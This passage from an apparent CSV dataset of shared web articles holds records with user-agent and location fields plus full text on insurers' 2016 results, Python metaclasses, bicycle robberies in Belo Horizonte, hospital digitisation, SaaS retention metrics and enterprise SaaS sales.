source. In order to help people understand the power of this model we have to change the lens through which organizations see the world. It's hard to disrupt the status quo, but fortunately we now have powerful examples that highlight how great organizations are using open source to change their operating model. If you want to help challenge the prevailing model at your own organization, here are the basic steps that your organization can implement today: Embrace open source in your organization and make it successful. Assess whether any of your customizations are truly custom or if they can be used by others. Contribute back your customizations to the open source project, advance it in the open and encourage others to contribute.",en
1486648430,CONTENT SHARED,2870099478920706993,-6067316262393890508,2180325224654818587,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,http://www.revistaapolice.com.br/2017/02/seguradoras-divulgam-resultados-de-2016/,Seguradoras divulgam resultados de 2016 - Apólice,"Resultados 2016 - As companhias seguradoras deram a largada na divulgação dos balanços referentes a 2016. Confira: Mapfre: crescimento de 9,4% no lucro O lucro líquido da Mapfre durante o exercício de 2016 aumentou 9,4%, registrando 775 milhões de euros em um ano que ficou marcado pelo bom comportamento de seus três mercados principais (Espanha, Brasil e Estados Unidos) e pelos resultados da Mapfre Re. É importante destacar que o lucro líquido, descontados os eventos extraordinários e não recorrentes em ambos exercícios, cresceria 41%. A receita do Grupo foi de 27,9 bilhões de euros, cifra que representa um aumento de 1,5% em relação ao ano anterior. Os prêmios registraram um aumento de 2,2%, chegando a um total de 22,8 bilhões de euros. O patrimônio líquido, no fechamento de 2016, superou a marca de 11,4 bilhões de euros, aumento de 10% em relação ao ano anterior, graças ao bom comportamento dos mercados e à evolução positiva das principais divisas (dólar e real). Por outro lado, os ativos totais subiram 7%, situando-se no fechamento do ano em 67,9 bilhões de euros. O índice combinado, um dos principais indicadores do setor de seguros, proveniente da soma dos índices de sinistralidade e de despesas, melhorou 1,2 ponto no último exercício, alcançando 97,4%. ""O ano de 2016 foi muito positivo para a Mapfre. A nossa estratégia, baseada no crescimento rentável, nos permitiu ter um aumento do lucro de quase 10% e consolidar a nossa posição nos principais mercados"", afirmou Antonio Huertas, presidente da companhia. Brasil Os prêmios da Mapfre Brasil somaram R$ 17,4 bilhões (4,6 bilhões de euros), uma redução de 2,2% em relação ao ano anterior. Os negócios de Global Risks, Rural e Previdência registraram crescimento de 29%, 13% e 12%, respectivamente, e foram os destaques do Grupo. Por outro lado, seguindo os respectivos mercados, os ramos de Vida e Automóvel apresentaram reduções nos volumes de vendas, quando comparados com 2015. O resultado antes de impostos de todas as atividades no Brasil somou R$ 3,1 bilhões, valor 1,8% superior a 2015. Já o lucro líquido do Grupo no país foi de R$ 546,6 milhões, com redução de 3,4%, afetado principalmente pela elevação da carga tributária sobre resultados. ""Mais uma vez a operação do Brasil, mesmo diante de um cenário econômico adverso, apresentou bons resultados. Nosso país contribuiu com 20% dos prêmios e 18,5% dos resultados de nosso Grupo"", comentou Wilson Toneto, CEO da empresa no País. O índice combinado de 94,3% e o ROE (retorno sobre o patrimônio) de 12,0%, também foram destacados pelo executivo. ""Seguimos focando na melhora dos resultados, seja pela digitalização de processos e serviços, seja pelo maior rigor na subscrição de riscos e cremos que, ainda com dificuldades no contexto macroeconômico, em 2017 poderemos superar as cifras auferidas em 2016"", conclui Toneto. Porto Seguro: números do último trimestre O ano de 2016 foi desafiador para a economia brasileira. A redução do consumo, em especial a queda na venda de veículos novos, e o aumento da violência pressionaram a evolução das vendas e a rentabilidade dos negócios, respectivamente. Apesar disso, a Porto Seguro cresceu nas suas principais linhas de negócio, sendo que diversos segmentos obtiveram boa performance, como os produtos de vida, patrimonial da marca, odontológico, previdência, consórcio e telefonia móvel. A lucratividade da empresa reduziu em função da queda da operação de seguros (-18%), principalmente do automóvel, porém aumentou nos negócios financeiros e de serviços (+15%). Na operação de seguros, os prêmios auferidos reduziram 2% no 4° trimestre de 2016, mas encerraram o ano com um crescimento de 4%. O número de veículos segurados atingiu 5,5 milhões (+4%). O índice combinado piorou, atingindo 99,4% (+2,3 p.p.) no período e 99,1% (+2,6 p.p.) em 2016, explicado pelo aumento da sinistralidade devido ao aumento do roubo de veículos em algumas regiões do Brasil e da competitividade em função da retração econômica. Por outro lado, o índice de despesas administrativas de seguros recuou em 0,4 p.p., no trimestre e 0,5 p.p. no ano, sendo que os gastos nominais cresceram aproximadamente 1% em ambos períodos, resultado da melhora na eficiência operacional. Nos últimos 5 anos, o índice de despesas administrativas decresceu 1,6 p.p.. As receitas das empresas financeiras e de serviços cresceram 18% no trimestre, intensificadas pelo aumento nas vendas do produto de telefonia móvel e pelo crescimento das receitas das operações de crédito. O indicador de inadimplência (> 90 dias) encerrou o trimestre com o menor patamar do ano, uma redução de mais de 2 p.p. em relação à média de mercado. No ano, o crescimento dos negócios não seguros foi de 8%. O resultado financeiro apresentou uma queda de 12% no trimestre, impactado pelas posições em ativos de Juro Real + Inflação e pelas posições em renda variável, parcialmente compensado pelo desempenho em juro prefixado, que ficou acima do CDI. A rentabilidade trimestral da carteira (ex previdência) foi de 2,9% (91% do CDI) e de 14,7% (105% do CDI) no ano. O lucro líquido atingiu R$ 304 milhões no 4 trimestre do ano passado, correspondendo a um crescimento de 3% em relação ao mesmo período do ano anterior. No acumulado do ano, o lucro líquido atingiu R$ 923 milhões, sofrendo uma redução de 9% (vs. 2015). O ROAE atingiu 19,6% no 4T16 e 15,5% em 2016. Nesse ano a Porto Seguro lançou alguns produtos com o objetivo de acessar novos mercados e diferentes nichos, como os seguros mais acessíveis no segmento de auto (Azul Leve, Azul Popular e Porto Seguro Rastreador Mais Seguro). Além disso, a Porto Seguro aperfeiçoou processos e investiu em plataformas tecnológicas que irão permitir que a Empresa cresça com sustentabilidade. Principais destaques Receitas totais ficaram estáveis no trimestre e cresceram 4% no ano em comparação ao mesmo período do ano anterior; Redução de 2% nos prêmios auferidos de seguros no quarto trimestre e crescimento de 4% em 2016 (vs. 2015); Lucro líquido no 4T16 de R$ 304 milhões (+3%) e de R$ 923 milhões (-9%) em 2016 (sem business combination); O ROAE atingiu 19,6% (-1,2 p.p.) no trimestre e 15,5% (-3,1 p.p.) no ano (sem business combination); Índice combinado de seguros alcançou 99,4% (+2,3 p.p.) no 4T16 e 99,1% em 2016 (+2,6 p.p.). O índice combinado ampliado foi de 92,7% (+3,3 p.p.) no 4T16 e de 91,8% (+2,2 p.p.) em 2016; Resultado financeiro total de R$ 271 milhões no 4T16 (-12% vs. 4T15) e de R$ 1.219 milhões no ano (+14% vs. 2015); O resultado das aplicações financeiras sem considerar recursos de previdência atingiu R$ 221 milhões no 4T16 (-12% vs. 4T15) e R$ 1.012 milhões em 2016 (+27% vs. 2015), correspondendo a uma rentabilidade de 2,9% (91% do CDI) no trimestre e de 14,7% (105% do CDI) no ano. Chubb: receita operacional líquida de US$ 1,3 bi no 4º trimestre Evan Greenberg, chairman e CEO da Chubb, divulgou na sua conferência com os investidores realizada em 1º de fevereiro que a empresa teve ""um trimestre muito bom. Isso contribuiu para um excelente ano, tanto nos resultados operacionais como não-operacionais. A receita operacional líquida do trimestre foi de US$ 1,3 bilhão, ou US$ 2,72 por ação, comparado com US$ 2,38 no ano anterior, um crescimento de 14%. No ano, o capital operacional líquido ficou acima de US$ 4,7 bilhões, ou US$ 10,12 por ação, um crescimento recorde de cerca de 3,5%. O índice combinado de P&C no trimestre foi de 87,6%, comparados com 87,3% no mesmo período do ano anterior. Em 2016, impulsionado por uma receita de subscrição de US$ 3,2 bilhões, o índice combinado foi de 88%, comparado com 87,5% em 2015. No ano, os prêmios líquidos de P&C e P&C Global, que excluem agricultura, tiveram uma queda de 1% em dólares constantes, excluindo as ações de subscrição relativas à fusão. Neste trimestre, os prêmios de P&C na mesma base permaneceram praticamente inalterados, enquanto os prêmios líquidos de P&C Global cresceram mais de 1%. Recorde ""Em termos financeiros, tivemos um recorde anual de lucro por ação, excelentes índices combinados, sólido crescimento, e um bom retorno operacional sobre capital próprio"", disse Greenberg. ""Operacionalmente, realizamos a maior fusão da história do mercado segurador e administramos com sucesso um esforço de integração global. Ao mesmo tempo, permanecemos focados no nosso principal negócio de subscrição servindo clientes e distribuidores parceiros, mantendo nossos clientes das linhas de produtos empresariais e pessoais nos mesmos níveis e até superiores"". Greenberg acrescentou que ""apesar do nosso ambiente desafiador, a Chubb foi construída para se superar. Nunca estive mais confiante em nossas pessoas e capacidades e estou otimista e simplesmente cheio de energia no que se refere ao futuro da nossa empresa, tanto em 2017 como nos anos vindouros"". Grupo Bradesco Seguros: faturamento supera R$ 71 bi O Grupo Bradesco Seguros encerrou o exercício de 2016 com faturamento de R$ 71,4 bilhões, o que representa crescimento de 10,5% sobre o ano anterior, nos segmentos de seguros, capitalização e previdência complementar aberta. O lucro líquido registrou evolução de 5% na mesma base de comparação, totalizando R$ 5,6 bilhões, com retorno sobre o patrimônio líquido ajustado de 23%. ""O perfil multirramo do Grupo contribuiu para preservar nosso equilíbrio operacional em 2016, ao possibilitar que os impactos sofridos por determinados segmentos fossem compensados por ganhos em outras categorias de produtos"" destaca o presidente, Randal Zanetti. Na comparação com 2015, os segmentos que apresentaram maior evolução foram saúde (14,7%), vida e previdência (10,7%) e capitalização (6,5%). Em saúde, a carteira de pequenas e médias empresas cresceu 27% em receita, atingindo cerca de um milhão de vidas e mais de 140 mil empresas clientes. No total, o Grupo conta com mais de 4,1 milhões de segurados no segmento. O volume de provisões técnicas registrou aumento de 25,6%, atingindo R$ 223,3 bilhões, e os ativos financeiros avançaram 26,1%, superando R$ 242 bilhões. Já o total pago em indenizações e benefícios alcançou R$ 52,3 bilhões em 2016, alta de 15,4% em relação a 2015. Destaque também para o Índice de Eficiência Administrativa, que manteve o patamar de 4% - um dos menores dos últimos períodos -, refletindo o benefício gerado pela racionalização de gastos, e para o Índice de Comercialização, que recuou 0,4 pp (em ambos os casos, quanto menor o índice, melhor o desempenho). A.C. e L.S. Revista Apólice",pt
1486657390,CONTENT SHARED,3714350889740403446,-534549863526737439,-1260011569184852879,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,http://nbviewer.jupyter.org/github/akittas/presentations/blob/master/pythess/meta_alltheway/meta_alltheway.ipynb,Python - It's metaclasses all the way down,"Metaprogramming is a technique of writing computer programs that can treat themselves as data, so you can introspect, generate, and/or modify them while running Python has the ability to introspect its basic elements such as functions, classes, or types and to create or modify them on the fly. Higher order functions allow us to add/modify functionality of existing functions, methods, or classes. Special methods of classes that allow us to interfere with the creation of class objects. These are called Metaclasses and allow us to even completely redesign the Python's object-oriented paradigm. A selection of different tools that allow programmers to work directly with code either in its raw plain text format or in the more programmatically accessible Abstract Syntax Tree (AST) form. This approach is allows for really extraordinary things, such as extending Python's language syntax or even creating your own Domain Specific Language (DSL), see e.g. Hy .",en
1486657613,CONTENT SHARED,-7826213337362450520,801895594717772308,-6056006567833577188,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,http://www.otempo.com.br/cidades/ciclistas-relatam-roubos-com-agressividade-na-avenida-dos-andradas-1.1433554,Ciclistas relatam roubos com agressividade na avenida dos Andradas,"Os ciclistas de Belo Horizonte reclamam que os furtos e roubos de bicicletas estão cada vez mais frequentes. Um dos locais com mais reclamações é a ciclovia da avenida dos Andradas, na região Leste da capital. Segundo relatos, os ladrões agem com muita agressividade. Do ano passado para este ano, os roubos de bicicleta quase dobraram na cidade, segundo dados da Secretaria de Estado de Defesa Social (Seds). Até novembro de 2016, foram registrados 14 roubos, no mesmo período de 2015 foram apenas 8 roubos. Já os furtos à bicicletas tiveram ligeira queda. Até novembro de 2015 foram registrados 84 furtos, já no mesmo período de 2016 foram 73 furtos. A Seds ainda não tem os dados até o mês de dezembro. No entanto, esses números podem ser ainda maiores, já que muitos ciclistas não registram boletim de ocorrência (BO). Pelo grupo do Facebook Massa Crítica, os ciclistas publicaram, na última segunda-feira (6), que a avenida dos Andradas é o principal problema. Muitos ciclistas relatam que apesar da enorme ciclovia na via, eles preferem usar a pista de carro por causa da violência na ciclovia. Segundo os relatos, os roubos na ciclovia são permeados por muita violência a qualquer hora do dia. Alguns ciclistas propõe até mesmo uma bicicletada na região para chamar a atenção das autoridades em relação ao problema. Relato No último dia 24 de novembro o ator Ramon Brant foi assaltado às 14h30. De acordo com ele, quatro suspeitos o abordaram e o derrubaram da bicicleta. ""Eu percebi a aglomeração de 4 ou 5 pessoas próximas a calçada. Um deles correu em minha direção e me acertou com uma voadora. Como eu estava em alta velocidade, sofri uma queda forte, rente ao meio fio da ciclovia. Torci o joelho e me esfolei inteiro. Ainda no chão, eles me agrediram com soco. Um deles me deu uma gravata enquanto os outros tiravam meu celular, dinheiro, etc"", contou Brant. Segundo ele, dois agressores estavam em uma bicicleta e o outro a pé. O ator fez um apelo para que não levassem sua mochila mostrando que só tinha seu material do teatro. ""Antes de ir embora, eles continuaram me ameaçando, bem agressivos e violentos. Vi que um deles tinha uma faca e outro carregava um pedaço de pau. Quando saí correndo na outra direção (Centro/Boulevard), eles ainda ficaram ali por um tempo, como se nada tivesse acontecido"", relata o ator. Brant contou que passa pelo local frequentemente há 5 anos e que tanto a noite quanto de dia é bastante deserto e perigoso. Parece que a tática que eles usam para os roubos são sempre as mesmas. ""Fecham a pista e derrubam violentamente os ciclistas"", afirmou o ator. Brant usava a bicicleta para se deslocar. É também com uma ""magrela"" que ele realiza o projeto ""Chá com Cartas"", que ele entrega cartas para moradores da capital mineira. Compartilhando o problema O ator publicou seu relato no grupo de Facebook Massa Crítica de Belo Horizonte e uma série de ciclistas comentaram a postagem dizendo que passaram pela mesma situação ou que evitam passar pela ciclovia por causa do medo de roubos e agressões. Um deles é o economista Gelton Filho, 40 que deixou de ir de bicicleta para o trabalho para não ter mais que passar pelo local. ""Eu passava por lá na ida por volta de 6h30 e na volta às 19h30. São horários em que lá fica muito vazio. Por duas vezes eu consegui desviar de abordagens, mas percebi que seria cercado"", contou. Furtos Os roubos não se limitam a ciclovia. Os ladrões também furtam as bikes dentro de casa. O designer Marcelo Cardoso, 34, teve duas bicicletas roubadas dentro da casa dele no ano passado. ""Eu moro em uma casa na Serra e minha garagem tem um vão que dá visão para a rua. O que tinha de interessante lá dentro eram duas bicicletas uma presa a outra. Alguém pegou um tronco de árvore que estava na rua subiu, pulou o muro e roubou as bicicletas"", contou o designer. A reportagem de O TEMPO aguarda resposta da Polícia Militar que cuida da área para falar sobre os roubos.",pt
1486724222,CONTENT SHARED,409265364477466508,-2820994773540913369,3172790951276452335,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.segs.com.br/saude/51985-como-a-tecnologia-esta-mudando-o-atendimento-hospitalar.html,Como a tecnologia está mudando o atendimento hospitalar,"A ficha em papel, em breve, será coisa do passado. Mas essa representa ainda uma pequena mudança frente a toda a transformação que ocorrerá com o Hospital Digital *Por Ubirajara Maia, diretor de Sistemas da MV. Não faz muito tempo, o paciente entrava no hospital e deixava sua identidade e carteira do convênio com a recepcionista - esta que, por sua vez, unia esses dois documentos com um clipe e colocava-os ao final de uma fila, ocupada pela papelada daqueles que estavam lá antes. Quando chegasse sua vez, a pessoa era chamada para fazer a ficha de atendimento - um papel que ele levaria consigo durante toda a sua estadia e que, quando deixasse o ambiente, seria arquivada em uma imensa sala, recheada de caixas-arquivo, com outros tantos papéis. A triagem na enfermaria viria somente depois, com a consulta médica ocorrendo na sequência. E o mesmo caminho do atendimento hospitalar era seguido pela ficha, que a cada etapa recebia um novo carimbo, anotação ou checagem. Triste fato: caso retornasse ao hospital algumas semanas, meses ou anos depois, dificilmente esse papel, recheado de informações tão importantes, estaria devidamente acessível para economizar tempo no processo. Nota-se, em todo esse processo, uma forte dependência humana durante o atendimento hospitalar. Se a recepcionista se enganasse ou deixasse cair o documento do paciente no chão, ele perderia lugar na fila de registro da ficha. Caso a enfermagem não entendesse a letra do médico, demoraria mais tempo para aplicar a medicação ou, pior, poderia oferecer a droga ou dosagem errada à pessoa. E me refiro somente a alguns dos problemas que podem acontecer em uma unidade de pronto atendimento. Um ambiente hospitalar é muito mais complexo do que isso. Apesar de o papel ainda ser a realidade de muitos hospitais, o processo de digitalização já começou a impactar o atendimento hospitalar, trazendo o conceito de Hospital Digital . E já está transformando toda a forma de gerir a organização e garantir o objetivo final de qualquer implementação tecnológica: benefícios ao paciente, com melhor atendimento e qualidade na assistência. Abaixo, alguns exemplos: ● Prontuário Eletrônico do Paciente (PEP) : é a ficha descrita acima, mas em ambiente 100% digital. O grande diferencial do PEP é que ele reúne todas as informações clínicas e assistenciais sobre o atendimento, além de armazenar todos os dados e histórico do paciente. Em vez de fichas e fichas armazenadas em uma sala, todas as informações são acessíveis pelo sistema, por todos os profissionais que estiverem em contato com o paciente, seja a recepcionista, seja a enfermagem, seja o médico. Vale um destaque: o prontuário eletrônico do paciente disponibiliza as informações em tempo real, podendo ser acessado de qualquer lugar, garantindo a uma rede a qualidade do atendimento hospitalar. ● Telerradiologia: talvez a digitalização mais comum no Brasil, a telerradiologia desobriga a presença de médicos radiologistas no hospital para a emissão de laudos. Estamos falando do Sistema de Comunicação e Arquivamento de Imagens (PACS, da sigla em inglês) para capturar, armazenar e distribuir as imagens coletadas nos exames. ● Cloud computing: com o avanço tecnológico dentro dos hospitais, o temor em relação à garantia da integridade e segurança dos dados em cloud computing passou. A ausência de investimento inicial e o custo reduzido de manutenção de tecnologias baseadas em nuvem, associadas ao preço cada vez menor dos links de internet, estimulam a digitalização de hospitais. ● Portais de conhecimento médico: os portais de conhecimento médico são ferramentas de comunicação que levam conteúdo, informação e atualização aos profissionais de saúde e, sobretudo, focam em ajudar na promoção da segurança durante o atendimento hospitalar. O objetivo é amparar a decisão clínica , por meio de recursos como informações médicas baseadas em evidências científicas. ● Gestão de crônicos com Internet das Coisas (IoT): uma estratégia de gestão de crônicos com IoT passa, invariavelmente, pelo uso de dispositivos inteligentes - responsáveis por coletar os dados e sinais vitais dos usuários - e por serviços de cloud computing - para o dado ser processado e analisado. No caso da prevenção, por exemplo, dispositivos devem analisar os batimentos de uma pessoa com problemas cardíacos para aconselhá-la a ir ao hospital antes que a situação se agrave. Esses mesmos dados podem amparar o médico em suas decisões tão logo o paciente chegue ao hospital. Por aqui, o tema ainda é pauta um pouco distante nas discussões sobre o futuro da tecnologia na Saúde. ● Big Data e Analytics: com cada vez mais dados sendo gerados pelas diferentes tecnologias, o resultado é um amontoado de informações que pode ser parametrizado e integrado ao PEP. ● Papel do médico: com a evolução tecnológica, exige-se do médico uma postura mais estratégica, pela qual o profissional trabalhe como um cientista de dados, usando estrategicamente as informações geradas pelas tecnologias - cruzando hábitos de alimentação com histórico de saúde, por exemplo - para um diagnóstico preciso e seguro. Com todas essas transformações, que levam o ambiente ao conceito de Hospital Digital, a cena descrita na abertura do artigo ficará, para sempre, no passado. E, certamente, haverá muito mais segurança ao paciente.",pt
1486733495,CONTENT SHARED,-9103776596534246502,3609194402293569455,5415337131816486531,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36",SP,BR,HTML,https://www.willegan.com/what-is-a-good-retention-rate/,What Is a Good Retention Rate for Online Software,"How do I know if I have a good retention rate? Simple, you measure it properly. When I ask most founders or product marketers what their retention rate is their initial instinct is to talk about their monthly or daily active users (MAUs and DAUs). It's great that they are tracking these metrics of course, but it's pretty likely that these are not providing an accurate indication of true retention . In a nut shell, a good retention rate is like the perfect length of string. Why? It requires a clear frame of reference. The perfect length of string required to tie a bundle of sticks depends on it's circumference. Similarly, the perfect retention rate of any product depends on how frequently it should be used. We can only answer both of these question once we have some context. To help explain this further, let's explore the fundamentals of retention. The Fundamentals When it comes to web or mobile applications, a retained user is defined as someone who continues to exhibit a behaviour indicative of ongoing use, over time . Let's consider the familiar monthly active users (MAUs) retention metric to verify this framework. To measure MAUs, the behaviour we are looking for is the act of 'logging in'. The use over time window has been set to a 'month' (30 days). From this we get a group of users who we consider 'retained'. We then divide the retained group (the numerator) by the total users (the denominator) to get our MAU retention rate. Huzzah, it works. Retention Rate = retained users / total users In the formula above, the retained user number is the result of the equation we previously worked out. However, if we include those values in the formula itself, it would look something like this: Retention Rate = users who exhibit a certain behaviour over time / total users Let's push on. The key line here is: 'exhibit a certain behaviour over time '. If you can understand this, then you'll understand what I like to call true retention . True Retention Put simply, true retention is the answer to the following question: 'when the user last had problem 'x', did they use our product to solve it? Where problem 'x' is the problem your product solves of course (more on this later). Put even more simply, when the user needed to use our product, did they ? As you can see, there are still two parts to this equation. A behaviour , and a time period , yet they are being interpreted slightly differently. The behaviour remains true, it's knowing whether a user 'used the product'. However, the time period on the other hand is no longer a specific 'time window'. Instead, it vaguely refers to the natural period of time it takes for a user to need to use the product. True retention rate = users who used it when the needed it / total users True retention is about measuring the completion of a behaviour within the time window that it should naturally take place. The time window is therefore defined as the interval between the user having the problem the first time, and the user having the problem a second time. This could be a short or long period of time. Retention is About Measuring Problems Every product solves a problem. Be it getting from A to B (Uber), finding information (Google), or booking accommodation (Airbnb). Our users encounter problems like these in their daily lives. The products we build are focused on solving these problems. The products capacity to do this is directly addressed through it's core value proposition, more specifically, the primary utility of the product. A products core utility is ultimately how it creates value, therefore, this is how we should measure retention. With this in mind, it's safe to say that our users only need our product when they are faced with the problem that our product solves. Retention is about measuring, surveying, or even guesstimating how frequently our customers are likely to face this problem in their daily lives. In other words, how frequently they need our product. This will be used as our 'over time' window for the retention formula. Let's use Airbnb as a case study to explore this further. Airbnb Case Study The MAU rate of Airbnb is... completely irrelevant. No one goes on holiday every month, so why measure 'how many people booked accommodation in the past month'? Let's try and define the true retention rate of Airbnb. Firstly, we need to know the real rate of holidays that the average person takes each year. According to the ABTA , people take roughly 1.4 holidays per calendar year. We will treat this number as the global average as it sounds about right. Next, we need to find Airbnb's total user base so we can work out the total potential number of bookings that could be made. In September 2015 , Airbnb has roughly 50 million total users. Let's assume that by December it had grown to 60 million. Therefore 60 million people taking an average of 1.4 holidays per year would create 84 million trips. Finally, we need to count the number of users who have 'booked accommodation' through Airbnb in the 2015 calendar year. Whilst Airbnb doesn't reveal their actual bookings, they do reveal the number of nights stayed and average duration of stays. Using recently published Morgan Stanley statistics , we can guesstimate the total number of Airbnb bookings to be roughly 17 million in the 2015 calendar year. So, we now have our two numbers. Firstly, the total number of accommodation bookings made by Airbnb users on Airbnb in 2015, 17 million . Secondly, the potential number of accommodation bookings made by Airbnb users on any platform in 2015, 84 million . Therefore, the true retention rate of Airbnb in 2015 can be calculated as follows: 17m Airbnb bookings / 84m potential bookings = 20% The true retention rate of Airbnb is 20%. Moreover, one in five registered Airbnb users booked their 2015 holiday accommodation through Airbnb. Alternatively, four in five Airbnb users did not use Airbnb to book their holiday accommodation in 2015. This is assuming the data I've sourced is of course correct. As you can see, the challenge with looking at the true retention window of Airbnb is that it would take one year for the data to be collected. This long propagation period is the primary reason why most companies look at MAUs. Ultimately, the true look back window may simply be too large. User retention is a long term game though. More Examples The key here is to be able to identify the normal usage pattern of your product. The following table provides further examples to help you identify this for your product. Final Thoughts The main takeaway message of this article is to determine whether it's necessary to track a true retention rate alongside your MAU or DAU rates. Some products will not require this. For some, like the last two in the table above, the natural consumption rate may be daily, weekly or monthly anyway. In these circumstances the conventional retention metrics are likely to offer accurate insights. At Ausmed, we monitor MAUs quite closely. However, we also look at a 90 day retention window. This is because we know that the vast majority of our users undertake at least one educational activity every 90 days. If they have not used our service in the last 90 days, it's highly likely they are no longer using the product. Therefore, we don't consider them to be a retained user. Finally, if you're working on a product that naturally has long intervals between use, think Airbnb or an annual tax return software as an example, there are ways to reduce the time window. In situations like this, you could consider building features into the product that would encourage more regular use. For Airbnb this might be achieved by promoting local, short stay trips in the user's home city. For tax return software, this could be achieved by encouraging users to add their tax-deductable expenses as they are incurred (all year round). In both cases, the time window being evaluated for retention would be significantly reduced.",en
1486733538,CONTENT SHARED,-44082375822273498,3609194402293569455,5415337131816486531,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36",SP,BR,HTML,https://www.leadfeeder.com/blog/2017/sell-software-to-enterprise/,How do you sell SaaS software to enterprise businesses?,"Your SaaS company has got a minimum-touch self-service model working really effectively, your investors are happy and money keeps on coming in without you really touching anything, but there's one nut that's a lot harder to crack and that's how to sell your SaaS product to enterprise customers in a way that is time-effective and cost-efficient, given your relatively low price. Selling SaaS to enterprises often represents a bit of a pain point for SaaS startups so in this article I'm going to examine why you should persevere with enterprise sales. I'll explain what are the benefits and challenges of selling your SaaS software to large companies, I'll share the enterprise selling techniques that have worked for Leadfeeder as our growth has rocketed, and I'll talk about about how we are specifically building our self-service SaaS software with enterprise accounts in mind. In this guide to selling to enterprises: The benefits and challenges of selling to enterprise accounts Strategies for better serving enterprise accounts Designing SaaS with enterprise customers in mind What are the benefits and challenges of selling to enterprises? As we've found out at Leadfeeder there are some huge advantages of selling to enterprise clients, such as the fact that purchases tend to be more significant and more consistent. While sales might fluctuate or drop off in times of recession, a relatively stable economy tends to draw solid business from enterprises. Thanks to the larger scale involved, your company might not even need to close more than one deal per week or per month to meet your quotas . In our case, a Leadfeeder small plan costs $59 per month, whereas a typical enterprise deal is worth at least 5x that amount. That means that if we focus on enterprise accounts we can sell a lot fewer but still come out tops with a higher monthly recurring revenue. On top of that there's the brand equity your company gains simply by having a well-known big business as a client. Being able to put a logo on your homepage that people recognise has major value in terms of social proof and it means you won't have to lean so heavily on ""featured in Mashable, Social Media Examiner, Entrepreneur"" to prove your worth. Along with these benefits come some major challenges of course. At enterprise companies, there are more tiers and layers to management structures, so the process of obtaining final approval for your proposals can be long and cumbersome, resulting in deals wilting in your sales pipeline. Because of the elongated sales cycles involved, you may not even be talking to the proper decision-maker for the bulk of your communication with the enterprise. The paperwork can be burdensome, and the division of labor can be confusing. One study reported by Fast Company found that half of all enterprise employees are a bit unclear on the specifics of the roles they play in their companies. This can mean it's difficult to know if you're speaking to someone with the power to make a purchasing decision. In sum the enterprise selling approach is an entirely different endeavor from what you might be used to; it often involves numerous follow-up sales emails and not just relying on Intercom to convert leads into deals. So what do you need to know when nurturing relationships and selling software to enterprises? And what are the best strategies for better supporting and converting enterprise customers? You'll find out next... Strategies for selling SaaS to enterprise accounts Make ROI the focus of all discussions Because enterprise organisations are beasts flush with more organisational tiers and paperwork and tracking than you're used to, the most certain way to get something in front of the proper decision-maker is to repeatedly make the bold case for high returns from your technology - in other words, cut the fluff . Some individuals within enterprise companies might respond and buy on emotion, but companies are usually structured around silos with each division or department facing constant scrutiny from the people holding the purse strings, and there will likely be very few impromptu purchases. You might even need approval from someone with whom you never directly interact, so you can't rely as much on those personal LinkedIn connections that are so effective when closing deals with small businesses or end consumers. Make sure that your proposal and all of the materials you send over to the client support the argument that your product or service will make them money. Keep it simple. Describe the problem they need to solve. Explain how your solution addresses their pain points. Lay down the costs involved as well as the savings or profits that will be unlocked by adopting your solution. If you can successfully make an effective projection of ROI, you'll often land the deal. Leadfeeder's enterprise selling best practices: 1) Calculators. Our free online break-even and profit calculators use industry data and they have enabled enterprise customers to understand what sort of ROI they can expect from using Leadfeeder. The big benefit is that enterprise prospects can play around with the data themselves. 2) Case studies . Sending over case studies that clearly demonstrate how a fellow enterprise customer has achieved ROI and the steps they have taken is one of the most effective ways to demonstrate your SaaS tech's effectiveness. We've found that enterprise decision-makers don't particularly enjoy hunting down information and therefore sending case studies removes the friction from this process. 3) PDFs of best practices. It's easy to have your perfect pitch or description of best practices get lost on its journey to the decision-maker, particularly if you've pitched to someone over the phone - plus there's no guarantee they'll check out your public support site for answers. Sending a PDF adds to the personal touch that many enterprises are looking for and puts strategy ideas on a plate for your enterprise customer. Consider the investments you'll need to make (and sometimes go the extra mile) What kind of expectations does your prospect have about building a relationship with you? Will you need to cross the country a few times for in-person meetings? Will you need to invest in mockup treatments or proofs-of-concept to wow them with a taste of what they'll get when they sign? Whatever it is, consider that you may need to dedicate a lot of time, internal talent resources and budget towards each enterprise lead. This more traditional type of nurturing is a far cry from the largely self-service decision-making that people do in the small business world, where products are more modular. With enterprise, there's so much customisation at play that even running a demo requires some investment on your part. When planning out the life cycle of your enterprise leads, keep these investments in mind and make sure your pricing model takes them into account. To ensure your enterprise customer acquisition costs are sustainable, you'll also need to have a solid grasp of your product costs and your average lifetime value (LTV) on accounts. Leadfeeder's enterprise selling best practices: 4) Additional training. Enterprise customers are a different breed and there's a lot more resting on their adoption of your SaaS tool. Often quite a bit of extra work is involved in getting your SaaS successfully integrated into their toolstack, which is why it's important to give extra time to enterprises. We've seen that trainings radically increase the conversion rate to Premium and the secondary payoff from successful enterprise onboarding is higher lifetime value. 5) Customer success (post-sales) pipeline. Unlike SMEs the success of your tool won't just take care of itself and that's why we've set up a customer success pipeline in Pipedrive to work more closely with enterprise clients. In practice it means more regular check-ups for enterprise accounts according to a pre-set schedule and it also means tracking existing customers with Leadfeeder and Intercom so we understand more about their activity, behaviour and interests. 6) Gifts. The monetary investment in the likes of t-shirts and postcards to send to your customers doesn't need to significant and it represents a very good return on investment. It pays to develop a more personalised and human-centric relationship with your customers because a decision-maker who feels valued is more likely to use your service for longer and tell others about it. Realise that each enterprise is actually many clients Simply thanks to the existence of so many middle management layers in enterprise companies, it often feels like you're jumping through lots of hoops and restating your value proposition to many different people. All the while, you still don't have the deal. This is natural when selling to enterprise. You can take a cynical view and realise that enterprise companies can become bloated, and when companies become bloated, different managers set out to assert their authority by jumping in to evaluate each and every deal. There's probably more than a tiny amount of truth to that, but the 